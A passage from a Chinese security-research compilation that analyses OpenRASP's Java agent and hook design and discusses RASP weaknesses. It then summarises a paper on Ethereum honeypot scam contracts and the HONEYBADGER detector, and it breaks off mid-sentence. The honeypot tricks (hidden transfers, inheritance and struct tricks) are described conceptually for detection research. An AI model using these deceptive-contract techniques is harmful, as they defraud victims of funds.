mv.visitLineNumber(24, l1);

mv.visitInsn(Opcodes.RETURN);

Label l2 = new Label();

mv.visitLabel(l2);

mv.visitLocalVariable("this", "Lcom/lucifaer/test_agentmain/TestAgentMain;", null, l0, l2, 0);

mv.visitMaxs(2, 1);

mv.visitEnd();

classfileBuffer = cw.toByteArray();

FileOutputStream fos = null;

try {

fos = new FileOutputStream("agent.class");

} catch (FileNotFoundException e) {

e.printStackTrace();

}

try {

assert fos != null;

fos.write(classfileBuffer);

} catch (IOException e) {
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e.printStackTrace();

}

try {

fos.close();

} catch (IOException e) {

e.printStackTrace();

}

return classfileBuffer;

}

public void retransform() throws UnmodifiableClassException {

LinkedList<Class> retransformClasses = new LinkedList<Class>();

Class[] loadedClasses = inst.getAllLoadedClasses();

for (Class clazz : loadedClasses) {

if ("com.lucifaer.test_agentmain.TestAgentMain".equals(clazz.getName())) {

if (inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {

inst.retransformClasses(clazz);

}

}

}

}

}

结果如下：
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这里尝试添加一个 public方法是直接失败的，原因就在于原生的 JVM在运行时时为了程序的线程

及逻辑安全，禁止向运行时的类添加新的 public方法并重新定义该类。JVM默认规则是只能修改方法

体中的逻辑，所以这就意味着会有这么一个问题：当多次 attach时，代码会重复插入，这样是不符合

热部署逻辑的。

当然目前市面上也有一定的解决方案，如 JRebel和 Spring-Loaded，它们的实现方式是在 method

call和 field access的方法做了一层代理，而这一点对于 RASP来说，无疑是加重了部署难度，反而与

热部署简单快捷的方式背道而驰。

11.4 0x04 OpenRASP的具体实现方式

以上大致将 Java RASP的相关内容介绍完毕后，这部分来深入了解一下 OpenRASP的 Java RASP这一

部分是怎么写的，执行流是如何。

11.4.1 4.1 OpenRASP执行流

OpenRASP的执行流很简单主要分为以下几部分：

1. agent初始化

2. V8引擎初始化

3. 日志配置模块初始化

4. 插件模块初始化

5. hook点管理模块初始化

6. 字节码转换模块初始化

其中具体实现管理 hook点以及添加 hook点的部分主要集中于 5、6这一部分，这里同样是我们最

为关注的地方。
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11.4.2 4.2初始化流程

在这一部分不会对 OpenRASP流程进行一步步的跟踪，只会将其中较为关键的点进行分析。

4.2.1 agent初始化

通过前面几节的介绍，其实是可以发现 RASP 类的编写共同点的—---其入口就是 premain 或

agentmain方法，这些都会在META-INFO/MANIFEST.MF中标明：

所以其入口就是 com.baidu.openrasp.Agent：
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这里在模块加载前做了一个非常重要的操作—---将 Java agent的 jar包加入到 BootStrap class path

中，如果不进行特殊设定，则会默认将 jar包加入到 System class path中，对于研究过类加载机制的朋

友们来说一定不陌生，这样做得好处就是可以将 jar包加到 BootStrapClassLoader所加载的路径中，在

类加载时可以保证加载顺序位于最顶层，这样就可以不受到类加载顺序的限制，拦截拦截系统类。

当将 jar包添加进 BootStrap class path后，就是完成模块加载的初始化流程中，这里会根据指定的

jar包来实例化模块加载的主流程：

219

resource/aa867c027393a3a7d38f50642aef52d13e94ccb6.png


安全研究 浅谈 RASP

这里的 ENGINE_JAR是 rasp-engine.jar，也就是源码中的 engine模块。这里根据配置文件中的数值

通过反射的方式实例化相应的主流程类：
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然后就可以一目了然的看到模块初始化主流程了：

在主流程中，我们重点关注红框部分，这一部分完成了 hook点管理模块初始化，以及字节码转换

模块的初始化。

4.2.2 hook点管理模块初始化

hook点管理的初始化过程非常简单，就是遍历 com.baidu.openrasp.plugin.checkerCheckParameter的

Type，将其中的元素添加进枚举映射中：
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在 Type这个枚举类型中，定义了不同类型的攻击类型所对应的检测方式：

11.4.3 4.2.3字节码转换模块初始化

字节码转换模块是整个 Java RASP的重中之重，OpenRASP是使用的 Javassist来操作字节码的，其大

致的写法和 ASM并无区别，接下来一步步跟进看一下。

在 com.baidu.openrasp.EngineBoot#initTransformer中完成了字节码转换模块的初始化：

这里可以看到在实例化了 ClassFileTransformer实现的 CustomClassTransformer后，调用了一个自

己写的 retransform方法，在这个方法中对 Instrumentation已加载的所有类进行遍历，将其进行类的重

新转换：
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这里主要是为了支持 agentmain模式对类进行重新转换。

在解释完了 retranform后，我们来整体看一下 OpenRASP是如何添加 hook点并完成相应 hook流

程的。这一部分是在 com.baidu.openrasp.transformer#CustomClassTransformer中：

我们都清楚 inst.addTransformer的功能是在类加载时做拦截，对输入的类的字节码进行修改，也

就是具体的检测流程插入都在这一部分。但是 OpenRASP的 hook点是在哪里加入的呢？其实就是在

addAnnotationHook这里完成的：

这里会到 com.baidu.openrasp.hook下对所有的类进行扫描，将所有由 HookAnnotation注解的类全

部加入到 HashSet中，例如 OgnlHook：
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至此就完成了字节码转换模块的初始化。

11.4.4 4.3类加载拦截流程

前文已经介绍过 RASP的具体拦截流程是在 ClassFileTransformer#transform中完成的，在 OpenRASP

中则是在 CustomClassTransformer#transform中完成的：
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可以看到先检测当前拦截类是否为已经注册的需要 hook 的类，如果是 hook 的类则直接利用

javassist的方式创建 ctClass，想要具体了解 javassist的使用方式的同学，可以直接看 javassist的官方文

档，这里不再过多表述。

可以看到在创建完 ctClass后，直接调用了当前 hook的 transformClass方法。由于接下来涉及到跟

进具体的 hook处理类中，所以接下来的分析是以跟进 OgnlHook这个 hook来跟进的。

OgnlHook是继承于 AbstractClassHook的，在 AbstractClassHook中预定义了很多虚方法，同时也

提供了很多通用的方法，transformClass方法就是在这里定义的：

这里直接调用了每个具体 hook类的 hookMethod方法来执行具体的逻辑，值得注意的是这里的最

终返回也是一个 byte数组，具体的流程和 ASM并无两样。跟进 OgnlHook#hookMethod：

这里首先生成需要插入到代码中的字节码，然后调用其自己写的 inserAfter来将字节码插入到 hook

点的后面（其实就是决定是插在 hook方法最顶部，还是 return前的最后一行，这决定了调用顺序）。

可以简单的看一下插入的字节码是如何生成的：
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很简单，就是插入一段代码，这段代码将反射实例化当前 hook类，调用 methodName所指定的方

法，并将 paramString所指定的参数传入该方法中。所以接下来看一下 OgnlHook#checkOgnlExpression

方法所执行的逻辑：

判断获取的表达式是不是 String类型，如果是，将表达式放入 HashMap中，然后调用 HookHan-

dler.doCheck方法：
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在这里说一句题外话，可以看到在这里的逻辑设定是当服务器 cpu使用率超过 90%时，禁用全部

的 hook点。这也是 RASP要思考解决的一个问题，当负载过高时，一定要给业务让步，也就一定要停

止防护功能，不然会引发 oom，直接把业务搞崩。所以如何尽量的减少资源占用也是 RASP需要解决

的一个大问题。
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这里就是检测的主要逻辑，主要完成：

检测计时

获取检测结果

根据检测结果判断是否要进行拦截

具体看一下如何获取的检测结果：

这里的 checkers是在 hook点管理模块初始化时设置的枚举类映射，所以这里调用的是：

V8Checker().check()方法，继承树如下：
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所以具体的实现是在 AbstractChecker#check中：

也就是 V8Checker#checkParam：
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这里就一目了然了，是调用 JS插件来完成检测的：

easygame，就是在 JS插件（其实就是个 js文件）中寻找相应的规则进行规则匹配。这个 js文件在

OpenRASP根目录/plugins/official/plugin.js中：
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如果符合匹配规则则返回 block，完成攻击拦截。

至此整个拦截流程分析完毕。
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11.4.5 4.4小结

从上面的分析中可以看出 OpenRASP的实现方式还是比较简单的，其中非常有创新点的是利用 js来

编写规则，通过 V8来执行 js。利用 js来编写规则的好处是更加方便热部署以及规则的通用性，同时

减少了为不同语言重复制定相同规则的问题。

同样，OpenRASP也不免存在 RASP本身存在的一些缺陷，这些缺陷将在 ‘‘缺陷思考’’这一节中具

体的描述。

11.5 0x05缺陷思考

虽然 Java RASP是以 Java Instrumentation的工作方式工作在 JVM层，可以通过 hook引发漏洞的关键

函数，在关键函数前添加安全检查，这看上去像是一个 “all in one’’的通用解，但是其实存在很多问题。

11.5.1 5.1 ‘‘通用解’’的通用问题

所有 ‘‘通用解’’的最大问题都出现在通用性上。在真实场景中 RASP的应用环境比其在实验环境中复

杂的多，如果想要一个 RASP真正的运行在业务上就需要从乙方和甲方的角度双向思考问题，以下是

我想到的一些问题，可能有些偏颇，但是还是希望能给一些参考性的意见：

5.1.1语言环境的通配适用性

企业内部的 web应用纷繁复杂，有用 Java编写的应用，有用 Go编写的，还有用 PHP、Python写

的等等. . .，那么如何对这些不同语言所构建的应用程序都实现相应的防护？

对于甲方来说，我购置一套安全防护产品肯定是要能起到通用防护的作用的，肯定不会只针对 Java

购进一套 Java RASP，这样做未免也太亏了。

对于乙方来说，每一种语言都有不同的特性，都要用不同的方式构建 RASP，对于开发和安全研究

人员来说工作量是相当之大的，强如 OpenRASP团队目前也只是支持 PHP和 Java两个版本的。

这很大程度上也是影响到 RASP推广的一个原因。看看传统的WAF、旁路流量监测等产品，它并

不受语言的限制，只关心流量中是否存在具有威胁的流量就好，巧妙的减少了一个变量，从而加强了

泛用性，无论什么样的环境都可以快速部署发挥作用，对于企业来说，肯定是更愿意购入WAF的。

5.1.2部署的通配适用性

由于开发人员所擅长的技能不同或不同项目组的技能树设定的不同，企业内部往往会存在使用各

种各样框架实现的代码。而在代码部署上，如果没有一开始就制定严格的规范的话，部署环境也会存

在各种各样的情况。就拿 Java来说，企业内部可能存在 Struts2写的、Spring写的、RichFaces写的等

等. . .，同时这些应用可能部署在不同的中间件上：Tomcat、Weblogic、JBoss、Websphere等等. . .，不

同的框架，不同的中间件部署方式都或多或少的有所不同，想要实现通配，真的不容易。

5.1.3规则的通用性

这一点其实已经被 OpenRASP较好的解决了，统一利用 js做规则，然后利用 js引擎解析规则。所

以这一点不多赘述。
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11.5.2 5.2自身稳定性的问题

‘‘安全产品首先要保证自己是安全的’’，这句话说出来感觉是比较搞笑的，但是往往很多的安全产品其

自身安全性就很差，只是仗着黑盒的不确定性才保持自己的神秘感罢了。对于 RASP来说这句话更是

需要严格奉行。因为 RASP是将检测逻辑插入到 hook点中的，只要到达了相应的 hook点，检测逻辑

是一定会被执行的，如果这个时候 RASP实现的检测逻辑本身出现了问题，严重的话会导致整个业务

崩溃，或直接被打穿。

5.2.1执行逻辑稳定性

就像上文所说的一样，如果在 RASP所执行的逻辑中出现了严重的错误，将会直接将错误抛出在

业务逻辑中，轻则当前业务中断，重则整个服务中断，这对于甲方来说就是严重的事故，甚至比服务

器被攻击还严重。

简单来举个例子（当然在真实写 RASP的时候不会这么写，这里只是展示严重性），如果在 RASP

的检测逻辑中存在 exit()这样的利用，将直接导致程序退出：
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这也就是为什么很多甲方并不喜欢 RASP这种方式，因为归根到底，RASP还是将代码插入到业

务执行流中，不出问题还好，出了问题就会影响业务。相比来说，WAF最多就是误封，但是并不会

down掉业务，稳定性上是有一定保障的。

5.2.2自身安全稳定性

试想一个场景，如果 RASP本身存在一定的漏洞，那是不是相当的可怕？即使原来的应用是没

有明显的安全威胁的，但是在 RASP处理过程中存在漏洞，而恰巧攻击者传入一个利用这样漏洞的

payload，将直接在 RASP处理流中完成触发。

举个实际的例子，比如在 RASP中使用了受漏洞影响的 FastJson库来处理相应的 json数据，那么

当攻击者在发送 FastJson反序列化攻击 payload的时候就会造成目标系统被 RCE。

这其实并不是一个危言耸听的例子，OpenRASP在某版本使用的就是 FastJson来处理 json字符串，

而当时的 FastJson版本就是存在漏洞的版本。所以在最新的 OpenRASP中，统一使用了较为安全的

Gson来处理 json字符串。

RASP的处理思路就决定了其与业务是联系非常紧密的，可以说就是业务的 ‘‘一部分’’，所以如果

RASP自己的代码不规范不安全，最终将导致直接给业务写了一个漏洞。

5.2.3规则的稳定性

RASP的规则是需要经过专业的安全研究人员反复打磨并且根据业务来定制化的，需要尽量将所

有的可能性都考虑进去，同时尽量的减少误报。但是由于规则贡献者水平的参差不齐，很容易导致规

则遗漏，从而根本无法拦截相关的攻击，或产生大量的攻击误报。这样对于甲方来说无疑是一笔稳赔

的买卖—---花费大量时间进行部署，花费大量服务器资源来启用 RASP，最终的安全效果却还是不尽

如人意。

如果想要尽量的完善规则，只能更加贴近业务场景，针对不同的情况做不同的规则判别。所以说

规则和业务场景是分不开的，对乙方来说不深入开发、不深入客户是很难做好安全产品的，如果只是

停留在实验阶段，是永远没有办法向工程化和产品化转换的。

11.5.3 5.3部署复杂性的问题

在 0x03以及 0x04中不难看理想中最佳的 Java RASP实践方式是使用 agentmain模式进行无侵入部署，

但是受限于 JVM进程保护机制没有办法对目标类添加新的方法，所以就会造成多次 attach造成的重

复字节码插入的问题。目前主流的 Java RASP推荐的部署方式都是利用 premain模式进行部署，这就

造成了必须停止相关业务，加入相应的启动参数，再开启服务这么一个复杂的过程。

对于甲方来说，重启一次业务完成部署 RASP的代价是比较高的，所以都是不愿意采取这样的方

案的。而且在甲方企业内部存在那么多的服务，一台台部署显然也是不现实的。目前所提出的自动化

部署方案也受限于实际业务场景的复杂性，并不稳定。

11.6 0x06总结

就目前来说 RASP解决方案已经相对成熟，除非 JDK出现新的特性，否则很难出现重大的革新。
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目前各家 RASP厂商主要都是针对性能及其他的辅助功能进行开发和优化，比如 OpenRASP提出

了用 RASP构建 SIEM以及实现被动扫描器的思路，这其实是一个非常好的思路，RASP配合被动扫

描器能很方便的对企业内部的资产进行扫描，从而实现一定程度上的漏洞管控。

但是 RASP不是万能的，并不能高效的防御所有的漏洞，其优劣势是非常明显的，应当正确的理

解 RASP本身的司职联合其他的防御措施构建完整的防御体系才能更好的做好安全防护。

个人认为 RASP的最佳实践场所是甲方内部，甲方可以通过资产梳理对不同的系统进行相应的流

量管控，这样 RASP就能大大减少泛性检测所带来的的误报，同时更进一步的增加应用的安全性。

总体来说 RASP是未来Web应用安全防护的方向，也同时是一个Web安全的发展趋势，其相较于

传统安全防护产品的优势是不言而喻的，只要解决泛用性、稳定性、部署难等问题，可以说是目前能

想出的一种较为理想方案了。

11.7 0x07 Reference

https://asm.ow2.io/asm4-guide.pdf

https://github.com/anbai-inc/javaweb-expression

https://github.com/Lucifaer/headfirstjavarasp/tree/elexpressionhook

https://zeroturnaround.com/software/jrebel/

https://github.com/spring-projects/spring-loaded

https://github.com/baidu/openrasp

https://rasp.baidu.com/doc/

http://www.fanyilun.me/2017/07/18/%e8%b0%88%e8%b0%88Java%20Intrumentation%e5%92%8c%e7%9b%b8%e5%85%b3%e5%ba%94%e7%94%a8/
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译者：CDra90n@SecQuan

来源：https://mp.weixin.qq.com/s/zKv3wKEXRT8CgOnVHOXi0Q

在过去的几年中一些智能合约被发现易受攻击从而被攻击者利用。然而一种更积极主动的新方

法被使用的趋势似乎正在上升，即攻击者不再寻找易受攻击的合约，相反他们试图通过部署脆弱外

表下包含隐藏陷阱的合约来诱使受害者落入陷阱。这类合约通常被称为蜜罐（Honeypot）。本文通过

调查蜜罐的流行程度、行为以及对以太坊区块链的影响，定义了蜜罐的分类以及构建了工具-蜜獾

（HONEY-BADGER），一个使用符号执行和定义明确的启发式算法来检测智能合约蜜罐的工具。

12.1 一、以太坊相关知识

12.1.1 1、智能合约

现代区块链如以太坊，旨在通过所谓的智能合约将整个系统的权力去中心化。智能合约是通过以太

坊虚拟机 (EVM)跨区块链存储和执行的程序。EVM是一个纯粹基于堆栈的虚拟机，它支持图灵完备

（Turing-computable）的操作码指令集。智能合约通过事务进行部署、调用和从区块链中删除。EVM的

每一次操作都要花费一定数量的燃料 (gas)。当超过分配给事务的燃料总量时，程序执行将被终止，其

影响将被逆转。与传统程序相比智能合约是不可变的。开发人员通常用高级语言编写智能合约代码，

并将其编译成 EVM字节码。在撰写本报告时，Solidity是在以太坊中开发智能合约最流行的高级语言。

以太坊曾面临过多次关于智能合约的毁灭性攻击。2016年的 DAO黑客攻击和 2017年的平价钱包

黑客攻击 (Parity Wallet Hack)，其合计损失超过 4亿美元。作为对攻击的回应，学术界提出了大量工具

以允许在区块链上部署之前扫描合约中的漏洞。但也因此，攻击者可以采取更积极主动的方法，引诱

受害者进入陷阱。换句话说，如果我能让受害者来找我，为什么我要花时间去寻找受害者呢？这种新

型欺诈行为被以太坊社区称为 ‘‘蜜罐’’。蜜罐是一种设计上似乎存在明显缺陷的智能合约，它允许任

意用户从合约中抽出以太币 (Ether,以太坊的密码货币)，假定用户事先向合约转让了一定数量的以太

币。然而一旦用户试图利用这个明显的漏洞，就会出现第二个尚未被发现的陷阱，从而阻止以太币的

成功排放。其想法是用户只关注明显的漏洞，而不考虑第二个漏洞可能隐藏在合约中的可能性。与其

他类型的欺诈类似，蜜罐之所以起作用是因为人类往往很容易被操纵，人们并不总是能够用自己的贪

婪和假设来量化风险。
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Figure 12.1: null

12.1.2 2、以太坊虚拟机

以太坊区块链允许用户通过向网络提交事务来创建和调用智能合约。这些交易由所谓的矿工处理。矿

工在验证块时使用一个专用虚拟机执行智能合约（表示为以太坊虚拟机）。EVM是一个基于堆栈的、

较少寄存器的虚拟机，运行低水平字节代码，由一组操作码指令集表示。为了保证合约终止从而防止

矿工陷入无止境的执行循环，引入了燃料的概念。它将成本与每条指令的执行相关联。在发出交易时

发件人必须说明他或她愿意支付给矿工的燃料数量，以执行智能合约。

12.1.3 3、以太坊智能合约查询工具

Etherscan是一个收集和显示区块链特定信息的在线平台。它作为一个区块链查询工具，让用户可以轻

松地查找各个区块、事务和智能合约的内容。除了它的查询功能之外，它还提供多种服务。其中一个

服务是智能合约创建者可以发布他们的源代码，并确认存储在特定地址下的字节码是编译指定源代码

的结果，它还为用户提供了在智能合约上留下评论的可能性。

12.2 二、以太坊蜜罐

12.2.1 1、蜜罐

蜜罐是一种智能合约，它假装向任意用户 (受害者)泄露其资金，前提是用户向其发送额外的资金。然

而用户所提供的资金将被困住，最多只能被蜜罐创建者 (攻击者)检索到他们。

蜜罐一般分为三个阶段，如图：

1.攻击者部署一个看似脆弱的合约，并以资金的形式提供诱饵；

2.受害人试图通过转让至少所需数额的资金来利用合约，但没有做到；

3.攻击者撤回诱饵以及受害人在企图利用漏洞时损失的资金。

攻击者不需要特殊的能力来设置蜜罐。事实上攻击者具有与普通以太坊用户相同的功能。他或她

只需要必要的资金来部署智能合约和放置诱饵。

12.2.2 2、蜜罐的分类

共提取了 8种不同的蜜罐技术。在分类中组织了不同的技术 (见下表)，其目的有两个：(I)供使用者参

考，以避免普通以太坊间蜜罐；(二)作为研究人员的指南，促进开发欺诈智能合约的检测方法。将不

同的技术根据它们的操作分成三个不同的类别：
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Figure 12.2: null

Figure 12.3: null

A、EVM

（1）余额错乱（Balance Disorder）

图中的合约描述了一个使用们称之为余额错乱技术的蜜罐的例子。函数 multiplicate显示如果此函

数的调用者包含大于或等于智能合约的当前余额的值，合约的余额（this.balance）和在事务处理中包

含在此函数调用的值（msg.value）将被传送到任意地址。因此天真用户将相信他或她所需要做的所有

事情是用高于或等于当前余额的值来调用该函数，作为回报他或她将获得 ‘‘投资’’价值加上合约中包

含的余额。然而如果用户试图这样做，他或她很快就会意识到第 5行没有被执行，因为第 4行上的状

况不存在。这是因为在实际执行智能合约之前，余额已随着交易值的增加而增加。值得注意的是：1)

如果合约目前的余额为零，则可以满足第 4行的条件，但用户将不会被激励去利用合约；2)第 5行的

添加 this.balance+msg.value仅用于使用户进一步相信在执行之后才更新余额。

B、Solidity编译器

（1）继承错乱（Inheritance Disorder）
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Figure 12.4: null
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Figure 12.5: null

Solidity通过 is关键字来进行继承。当一个合约从多个合约继承时，在区块链上只创建一个合约，

并且将所有基本合约的代码复制到创建的合约中。上图显示了蜜罐的一个例子，其利用了表示为继承

错乱的技术。乍看似乎这个代码没什么特别的，有一个从 Ownable合约中继承下来的 KingOfTheHill

合约。但是注意两件事：1)函数 takeAll只允许存储在变量所有者 owner中的地址提取合约的余额；2)

可以通过使用大于当前 jackpot的消息值 (第 12行)调用回退函数 fallback来修改所有者变量。现在如

果用户试图调用函数以将自己设置为所有者则事务将成功。但是如果他或她后来试图收回余额，交易

会失败。这是因为在第 9行声明的变量所有者并不与在第 2行声明的变量所有者相同。用户假设第 9

行的所有者将被第 2行的所有者覆盖，但事实并非如此。Solidity编译器将这两个变量视为不同的变

量，因此在第 9行向所有者写入将不会导致修改在合约 Ownable中定义的所有者 owner。

（2）跳过空字符串文本（Skip Empty String Literal）
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Figure 12.6: null

上图所示的合约允许用户通过向合约的函数 invest发送最低金额的以太币来进行投资。投资者可

以通过调用 divest来撤回他们的投资。现在如果仔细看一看代码，就会意识到似乎没有什么可以阻止

投资者将高于原投资金额的金额剥离出去，这样天真的用户就会相信可以利用函数 divest。但是此合

约包含一个称为跳过空字符串文本的错误。作为函数 loggedtransfer(第 14行)的参数而给出的空字符

串文本将被 Solidity编译器的编码器跳过。这样做的效果是，该参数后面所有参数的编码都向左移动

32个字节，因此函数调用参数 msg接收目标值，而 target被赋予 currentowner的值，最后 currentowner

接收默认值零。因此函数 loggedTransfer最终执行向 CurentOwner(而不是 target)的转移，实质上将所

有从合约中 divest的尝试都转移给所有者。用户试图使用智能合约的明显漏洞从而有效地将投资转移

到合约所有者。

（3）类型推导溢出（Type Deduction Overflow）

在 Solidity中,当将变量声明为 var类型时，编译器使用类型推导从分配给变量的第一个表达式中自

动推断最小的可能类型。上图中的合约描述了蜜罐的示例，该蜜罐利用了类型推导溢出的技术。起初

合约表明用户可以将投资翻一番。但是由于类型仅从第一个赋值中推导出来，第 7行的循环将是无限

的。变量 i的类型为 uint-8，此类型的最高值为 255，小于 2*msg.value。因此永远不会达到循环的停止

条件。如果变量multi小于 amountToTransfer则仍然可以停止循环。这是可能的，因为 amountToTransfer

被分配了 multi的值，这将小于由于在第 8行处发生的整数溢出导致的 amountToTransfer，其中 i乘以

2。一旦循环退出合约将一个值执行转移给调用者，尽管金额最多为 255wei(最小的以太币面额，其中

1ether=10ˆ18wei)，因此远小于最初用户投资的价值。

（4）未初始化结构（Uninitialised Struct）
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Figure 12.7: null
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Figure 12.8: null

Solidity提供以结构形式定义新数据类型的方法。它们将多个命名变量组合在一个变量下，并为

Solidity更复杂的数据结构奠定了坚实的基础。上图给出了一个未初始化结构蜜罐的示例。为了收回合

约余额，合约要求用户进行最小赌注，并猜出存储在合约中的随机数。但是任何用户都可以轻松地获

得随机数的值，因为存储在区块链上的每一个数据都是公开可用的。第一个想法是合约创建者犯了一

个常见的错误即假设声明为 private的变量是秘密的。无辜的用户只需从区块链读取随机数并通过下注

并提供正确的数字来调用函数 guessNumber。之后合约创建了一个结构，该结构似乎跟踪用户的参与。

然而结构未通过 new关键字正确初始化。因此 Solidity编译器将包含在结构 (Player)中的第一个变量

的存储位置映射到包含在合约 (randomNumber)中的第一个变量的存储位置。因此用调用者的地址覆

盖随机数，从而使第 14行的条件失败。值得注意的是蜜罐创建者知道用户可能试图猜测覆盖的值。因

此创建者将数字限制在 1到 10之间 (第 10行)，这大大降低了用户生成满足此条件的地址的机会。

C、Etherscan区块链查询工具

（1）隐藏状态更新（Hidden State Update）
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Figure 12.9: null

除了正常的事务外，Etherscan还显示所谓的内部消息（internal messages），这是来自其他合约而不

是用户帐户的事务。但是出于可用性的考虑，Etherscan不显示包含空事务值的内部消息。上图中的合

约是蜜罐技术的一个例子，表示为隐藏状态更新。在这个例子中余额被转移给那些能够猜出用于计算

存储散列正确值的人。天真的用户将假定 passHasBeenSet设置为 false，并尝试调用不受保护的 SetPass

函数，该函数允许用已知值重写哈希，前提是至少有一个以太币转到合约。当分析 Etherscan上的内

部消息时，用户将找不到调用 PassHasBeenSet函数的任何证据，因此假设 passHasBeenSet被设置为

false。但是蜜罐创建者可能会误导 Etherscan执行的筛选，以便从另一个合约调用函数 PassHasBeenSet

并使用空事务值。因此，只查看 EtherScan上显示的内部消息，不知情的用户就会认为变量设置为

false，并自信地将以太币传输到 setpass函数。

（2）隐藏转移（Hidden Transfer）

Etherscan提供了一个 web接口，它显示了经过验证的智能合约的源代码。验证表示提供的源代码

已成功编译到关联的字节代码。Etherscan会在 HTML文本区域 textarea元素中显示源代码，其中较大

的代码行仅显示到一定的宽度。因此代码行的其余部分将被隐藏，仅通过水平滚动来单独可见。上图

中的合约利用了这个 ‘‘特性’’，在函数 withdrawAll的第 4行引入了一长串空格，有效地隐藏了下面的

代码。如果函数的调用方不是合约所有者，则隐藏代码将抛出从而防止后续的余额转移到函数的任何

调用方。还请注意第 4行，其中块号必须大于 5，040，270。这将确保蜜罐在主网络上部署时会窃取

资金。由于测试网络上的块号较小，因此在这样的网络上测试此合约将把所有资金转移给受害者，使

他或她认为合约不是一个蜜罐。这种类型的蜜罐标记为隐藏转移。

（3）稻草人合约（Straw Man Contract）
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Figure 12.11: null

在上图中提供了一个蜜罐技术示例，将其表示为稻草人合约。乍一看合约第 14行的现金提取功能

似乎容易受到重入攻击（reentrancy attack）。为了能够使用重入攻击，用户必须首先调用 Deposit函数

并转移最小数量的以太币。最后用户调用 CashOutT函数，该函数执行对 TransferLog中存储的合约地

址的调用。如图所示名为 log的合约应该充当记录器 logger。然而蜜罐创建者并没有用包含所示记录器

合约字节码的地址初始化合约。相反它是用另一个地址初始化的，该地址指向一个实现相同接口的合

约。如果函数 AddMessage是用字符串 “CashOut’’调用的且调用者不是蜜罐创建者，则抛出一个异常。

因此，用户执行的重入攻击总是失败的。另一种选择是在转移余额之前使用委托代理（delegatecall）。

委托代理允许被调用方合约修改调用方合约的堆栈。因此攻击者只需将堆栈中包含的用户地址与自己

的地址交换，当从委托代理返回时，余额将转移到攻击者而不是用户的地址。

12.3 三、蜜獾

12.3.1 1、设计概述

上图为蜜獾的总体架构和分析管线。蜜獾接受 EVM字节码作为输入，并作为输出返回它检测到的不

同蜜罐技术的详细报告。蜜獾由三个主要组成部分组成：符号分析、现金流量分析和蜜罐分析。符号

分析组件构造控制流图 (CFG)，并象征性地执行其不同的路径。符号分析的结果随后传播到现金流量

分析部分和蜜罐分析部分。现金流量分析使用部分符号分析的结果来检测合约是否能够接收和转移资

金。最后利用启发式方法和符号分析的结果对本文研究的蜜罐技术进行了检测。这三个组件中的每一

个都使用 Z3-SMT求解器检查约束的可满足性。

12.3.2 2、结果

（1）有效性
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Figure 12.12: null

上图显示了每个蜜罐技术成功的、中止的和活跃的数量。结果表明，跳过空字串文本技术是最有效

的蜜罐技术，成功率约为 78%，而隐式转移技术的成功率仅为 33%成功率。蜜罐的总体成功率似乎很

低，约为 37%，而总体流产率似乎相当高，约为 54%。在撰写本报告时，仅 10%的分析蜜罐仍处于活

跃状态。下图显示了按照蜜罐技术分的蜜罐每月部署的数量。第一个已经部署的蜜罐技术是 2017年 1

月的一次隐藏状态更新。2018年 2月是部署蜜罐的高峰期，总共部署了 66个蜜罐。每种技术每月部

署的蜜罐最多的是隐藏状态更新，2018年 6月共有 36个。平均每月部署 7个蜜罐。在分析中，最快的

第一次尝试发生在蜜罐部署后 7分钟 37秒，而最长的时间直到部署后 142天才发生。蜜罐平均需要 9

天、中间值 16小时才能被利用。有趣的是，大多数蜜罐（约 55%）在部署后的前 24小时内被利用。

（2）活跃度

蜜罐的寿命定义为从蜜罐部署到蜜罐中止的那一段时间。本文发现蜜罐的最短寿命是 5分钟 25秒，

最长的寿命约为 322天。蜜罐的平均寿命约为 28天，而中位数约为 3天。然而，在大约 32%的情况

下，蜜罐的寿命仅为 1天。还分析了攻击者将资金存放在蜜罐内的时间，方法是测量受害者第一次企

图剥削到攻击者撤走所有资金之间的时间。最短的时间是在受害者掉进蜜罐后的 4分 28秒。最长的

时间大约是 100天。平均而言，攻击者会在受害者掉进蜜罐后 7天内收回他们所有的资金。然而，在

大多数情况下，攻击者将资金存放在蜜罐中最多一天。有趣的是，282个蜜罐中只有 37个被销毁，这

意味着攻击者在蜜罐内调用一个函数，即调用 SELFDESTRUCT操作码。换句话说，171个蜜罐处于

某种 ‘‘僵尸’’状态，它们仍然活着（即没有被摧毁），但没有活动（即它们的余额为零）。通过对 37个

被毁的蜜罐的分析，发现 19个蜜罐在成功后被毁，18个蜜罐在未成功后被毁。

（3）行为
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Figure 12.13: null

本文的方法将 240个地址归类为受害者。在 71%的案件中，蜜罐只能诱捕一名受害者。然而，在

一个案例中，97名受害者仅被一个蜜罐所困。有趣的是，240个地址中有 8个属于多个蜜罐，其中一

个地址甚至成了 4个不同的蜜罐的牺牲品。还发现 53名攻击者至少部署了两个蜜罐，而有一个攻击者

则部署了八个不同的蜜罐。值得注意的是，53名攻击者中有 42名只是部署了一种特定蜜罐类型的副

本，而其余 11名部署了不同类型的蜜罐。在 282个检测到和人工确认的蜜罐中，有 87个 (约占 31%)

包含了对 Etherscan的评论。手工分析这些评论发现大多数评论实际上都是警告，说明合约可能是蜜

罐。此外，下图显示，‘‘蜜罐’’一词是社区用来描述这种智能合约的最流行的术语。令人惊讶的是，在

87个被评论的蜜罐中有 20个成功了。16个在发表评论前获得成功，4个在发表评论后获得成功。有

趣的是，21个蜜罐在发表评论后流产。最快的中止是在评论后 33分钟 57秒，而最长的中止是在评论

37天后进行的。最快的中止仅在评论后 33分钟 57秒执行，而最长的中止则在评论后 37天执行。最

后，在用户发表评论后，攻击者平均花了 6天的时间和中位数为 22小时的时间来中止他们的蜜罐。

（4）多样性

本文使用标准化的莱文斯坦距离距离（Levenshtein）来度量特定蜜罐技术各个实例之间字节码的

相似性。下表概述了每个蜜罐技术在最小、最大、平均和模式方面的相似性。通过观察，除了 tdo之

外几乎每种技术的字节码相似性都有很大的差异。例如，在隐藏状态更新蜜罐的情况下测量的最小相

似度为 11%，最大相似度为 98%。这表明，即使两个蜜罐拥有相同的技术，他们的字节码可能仍然非

常多样化。

（5）盈利状况
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Figure 12.15: null
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Figure 12.16: null

下表列出了每个蜜罐技术的盈利能力。盈利能力计算为收到的金额-(花费的金额 +交易费用)。没

有为 tdo提供任何值，因为对于分析过的单个 TP（true positive），攻击者花费的交易费高于攻击者从

受害者那里获得的金额。利用隐藏状态更新蜜罐获得的利润有最小也有最大的，最小的是 0.00002以

太币，最大的是 11.96以太币。最赚钱的蜜罐是稻草人合约蜜罐，平均值为 1.76以太币，而利润最少

的蜜罐是未初始化结构性蜜罐，平均值为 0.46以太币。通过蜜罐获得了 257.25个以太币的利润，其中

